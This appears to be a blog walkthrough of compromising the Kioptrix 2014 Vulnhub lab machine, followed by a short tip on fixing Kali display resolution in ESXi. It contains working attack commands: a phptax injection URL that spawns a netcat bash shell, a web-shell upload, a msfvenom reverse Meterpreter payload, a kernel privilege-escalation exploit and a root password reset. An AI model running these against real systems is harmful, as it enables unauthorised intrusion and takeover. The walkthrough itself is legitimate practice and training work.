Vulnhub Practice: Kioptrix 2014

What is Vulnhub? is a site dedicated to providing machines that you can download and practice compromising in a safe legal manner. Quoted from their website directly’s purpose:

To provide materials that allows anyone to gain practical ‘hands-on’ experience in digital security, computer software & network administration.

What does this mean? Well it means I can practice the skills I gained from the OSCP course and keep my tools sharp so to speak. We all know if you do not use something on a regular basis you forget things and lose your edge.

The machines listed in my previous blog (OSCP Prep) are the ones I shall be working my way through.

First on  my list Kioptrix 2014, the last one of a series created by Stephen McElrea  (Loneferret) who has sadly passed away in July 2017.

Kioptrix 2014 is aimed at beginners so should be a nice fun one to start with.

Setup is straight forward, use VirtualBox (or VMWare player) for the hyper-visor. Links here for what you may need:,62/ (Windows) – Linux users will have this in their chosen Linux package repo.

Most of the machines I play with are in Virtual box and this machine does work in Virtual Box, it just needs a little tweaking. There is a fix bzip archive that is available with this machine to enable it to run on Virtual box. If you run VMWare it should work just fine. If you follow the excellent instructions and screenshots it should not take you long to get this up and running. (I may do a write up of the setup later)

The Walk through:

Let start, Nmap needs to be run on this host to see what we are dealing with.

Screenshot from 2017-12-17 15-12-14
Simple Nmap scan reveals that there are only really 2 ports open. The scan also tells us this maybe a FreeBSD Unix box running Apache (nothing is concrete until we can confirm via other methods). So we have some idea of the platform.

Dirbuster is ran on this host to see if there are any hidden directories, the tool doesn’t give us anything, it errors out after a few minutes. The host port 8080 is even quicker to error out.

As port 80 and 8080 are open and are web ports, we select another tool for scanning web systems. The Nikto web scanner is run to see if there are any obvious vulnerabilities we can exploit. (nikto -h

Screenshot from 2017-12-17 15-55-00

From this we  can see only 1 obvious vulnerability:
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell., OSVDB-756.

A quick search with either searchsploit (courtesy of Kali Linux) or exploit-db show 2 potential exploits.
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow | exploits/unix/remote/764.c

Both of these however do not cover the combination of Apache and FreeBSD we have, so without some more exploit development on the system itself we can’t use this.

nikto on port 8080 is pretty much the same as the port 80 scan.

When you try and browse the page you are greeted with a Forbidden page. Dead end for now.

Looking back at the main page on port 80 we see the default ‘It works’ page, pretty standard. The source code however (as we are a curious type) yields this little gem of information:


A quick check of searchsploit or exploit-db reveals 2 vulnerabilities, one directory traversal issue and a XSS one. Lets have a look at the Directory Traversal issue.


So converted in to real world lets see if we can grab the /etc/passwd file as a test.


Now that we know that works lets do some more enumeration and get more information on this host. As we got the Apache forbidden page we’ll try and find where the config is and take a look at what we are dealing with. Firstly we need to know where the config file lives, a little googling gives us the path.


The config reveals the 8080 site is looking for a specific user agent: Mozilla/4. One way round this is a user agent switcher. Most modern browsers have plenty of extensions and plug-ins, we just need to find one that will allow us to present a different user agent string to the web server. ‘User agent Overrider’ was selected (realistically any one could be used.) The string was set for custom as: Mozilla/4.0 (Windows; U; Windows NT 5.1; de; rv: Gecko/20100401 Firefox/3.6.3

Now when we browse the site on 8080 we get a different page. Our browser meets the criteria needed to see the page. Result below.


Following this obvious link.

This reveals a hidden page and gives us something to enumerate more.


Enter searchsploit/exploit-db searching for phptax, we find 3 possible exploits, one Metasploit and 2 manual. The manual ones list a RCE

PoC: http://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Firstly,  the Metasploit way. Searching for phptax yields one exploit exploit/multi/http/phptax_exec, we set the options of RHOSTS and RPORT and then run the exploit. This gets us a very basic shell. First thought, can we improve the shell? No in this case, I’ve not managed to find a way, but I shall keep researching and update you all when I do get some answers.

So,  we have a shell, from here its more enumeration to see what we have and what is available to us. From the screen shots that we have the same id as the Apache web service. Present working directory (pwd) is /usr/local/www/apache22/data2/phptax.msf-exploit-phptax

uname -a : FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 amd64

Through enumeration we confirm the platform and find the version of the kernel and that we have access to netcat. (Which will be handy for transferring files later.)

Searching again we find 3 privilege escalation exploits, one Metasploit version. With our basic shell we cannot run the Metasploit exploit without first improving it. Meterpreter would be the ideal improvement. We do have 2 choices;

  1. Concentrate on getting a Meterpreter shell
  2. Carry on and get privilege escalation to a root shell?

Privilege Escalation

Root access is the end result so lets have a look getting that. We can look at getting a Meterpreter shell afterwards, which if thing go to plan will be a root privileged.

We know the system is a FreeBSD and we know the version is 9.0. Checking these strings with searchsploit for a privilege escalation exploit gets us 3 results:


FreeBSD 9.0 – Intel SYSRET Kernel Privilege Escalation 

$ searchsploit -m 28718

As we cannot use the Metasploit version yet, we shall try the next one. (Sometimes it take a lot of trial and error to find the correct exploit). We can use netcat to transfer the source code to the Kioptrix box using the following commands:

Attacking box: nc -nvlp 1337 < priv-28718.c

Kioptrix: nc -nv 1337 >> priv.c

We use a client connection out as the server may have ports blocked via a firewall we have not encountered yet.

Once transferred we need to use gcc installed to compile the exploit. Luckily we can compile the exploit as gcc is installed. (If it was not installed we could replicate the environment a local vm / labs and copy the binary over. )

gcc priv.c -o priv

Once compiled we execute it, will it work?

[+] Start Engine…
[+] Crotz…
[+] Crotz…
[+] Crotz…
[+] Woohoo!!!
uid=0(root) gid=0(wheel) groups=0(wheel)

We have root! 🙂
OK now we have a look for the congrats.txt file that the author kindly put into place for us.

Is this the end? Have we finished?

Well not for me, I prefer to get better access. More direct.

SSH was not enabled, but seen as we are root we can have a look at enabling it. A little more googling gave me information on how to enable and start the sshd service.

echo 'sshd_enabled="yes"' >> /etc/rc.conf
service sshd onestart

While we are at it, we can either create a new account or just reset the root password with the passwd command.

echo "lamepassword1" | pw usermod root -h 0

If we were going to use this box as a way into a network we would create another account and copy off the relevant files to crack any accounts for use later.

Then it is trivial to ssh into the box and use the front door.


Alternative methods.

Though I am happy to use Metasploit to gain access to this box I prefer to find other ways to manually gain a shell.

Seen as the sites are predominately PHP it would seem logical to see if we can leverage something.

The following code is a common exploit for web servers that are susceptible to local code execution.

Using the phptax exploit we can do this:;nc%20-nv%20192.168.56.1%201337%20%3E%3E%20shell2.php%20;&pdf=make

Which translates to: nc -nv 1337 >> shell2.php

Attacker box: nc -nvlp 1337 < shell2.php

cat shell2.php


Once this file is transferred we can now call the page and run off commands that are helpfully output to the page.


We can use this to further enumerate the host to the extent of how much access the user running Apache can do.

Using this same method of transfer we can also upload a php Meterpreter payload.

msfvenom is used to generate a php reverse tcp Meterpreter payload:

msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=1337 -f raw > met_php.php

Then we simply upload it to the server.;nc%20-nv%20192.168.56.1%201337%20%3E%3E%20met_shell.php%20;&pdf=make

Before we trigger the payload we need to set up the multi/handler listener within Metasploit and make sure it matches our msfvenom generated payload.

Screenshot from 2017-12-17 11-07-59

All we need to do it browse to the URL to trigger the payload.

As you can see we now have our Meterpreter shell. From this we have access to all the modules and post exploits. We can spawn a shell from here and carry on with the privilege escalation to get root.

Other methods?

Other methods are to upload a reverse PHP shell from pentestmonkey  I’ve not tried this but other walk-throughs suggest favourable results.


Patching, as you are probably aware will fix the majority of security holes outside of configuration issues. We would make sure all the software was up to date, vulnerabilities would/should be patched on phptax and pChart. If no patches are available we’d logically migrate away from vulnerable software or place more security barriers in place. Operating system security updates would also need to be installed. FreeBSD version 9 reached End of Life March 2013 so it would be advisable to retire the entire server.

The server does have some security, note from the author:

For fun, I installed “OSSEC-HIDS” and monitored a few things.
Default settings, nothing fancy but it should’ve logged a few of your attacks. Look
at the following files:
/root/httpd-access.log (softlink)
/root/ossec-alerts.log (softlink)

The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified files in 2 specific folders.

The OSSEC-HIDS system log file and the folderMonitor log file added by the author displays all our attempts and even has the Meterpreter PHP payload.


Finally the author leaves us with the final PS in his message.

p.s.: Keep in mind, for each “web attack” detected by OSSEC-HIDS, by
default it would’ve blocked your IP (both in hosts.allow & Firewall) for
600 seconds. I was nice enough to remove that part 🙂


This means our attacks would more than likely been halted or delayed at least.

Conclusion / Lessons learned?

It was fun exploiting this box, after finishing it via the Metasploit method I had fun finding other ways in. There was some trial and error with the netcat transfers, which needed to be the server and which the client. I Learned quiet a bit more about FreeBSD Unix, my normal day to day operating systems were Linux or Windows, so it was fun playing once I was root.

Interestingly having gcc installed on the server and netcat were instrumental in exploiting this server. Without netcat you could use TFTP or FTP to transfer files, if the client tools were there. Lesson: Don’t make things easy for an attacker.

I hope you learned something from this walk-through, I certainly had fun and even picked up some new knowledge. I would encourage anyone to replicate what I have done and try out all the methods I have documented. You may even find more methods, feel free to commend below and let me know.

Have fun.



Offensive Security Exploit db – –
Searchsploit – Kali Linux.
Kioptrix website –

Kali / Linux ESXi Resolution resize issue.

Issue: Changing the desktop resolution on Linux or in my case Kali has issues in ESXi. It either fails, goes blank or displays corrupted image until it reverts itself back to 800×600.

I stumbled upon this with a new installation in a testing network I was playing with, despite installing vmtools on the client and updating them numerous times I could not get the desktop to a more usable resolution over 800×600. Was it drivers for the video card, monitor? Well after 30 mins of googling I found a solution in the Kali forums (Thanks to SpeedyQuick.)


Increase video card memory in vSphere Client to 32MB from the default of 4MB. Then you should be able to resize to your desired resolution.


I’d imagine if you were having similar issues with Virtualbox this solution would also apply, one thing to note though is that Virtualbox seems to default to a higher amount so I have not seen this issue yet.

%d bloggers like this: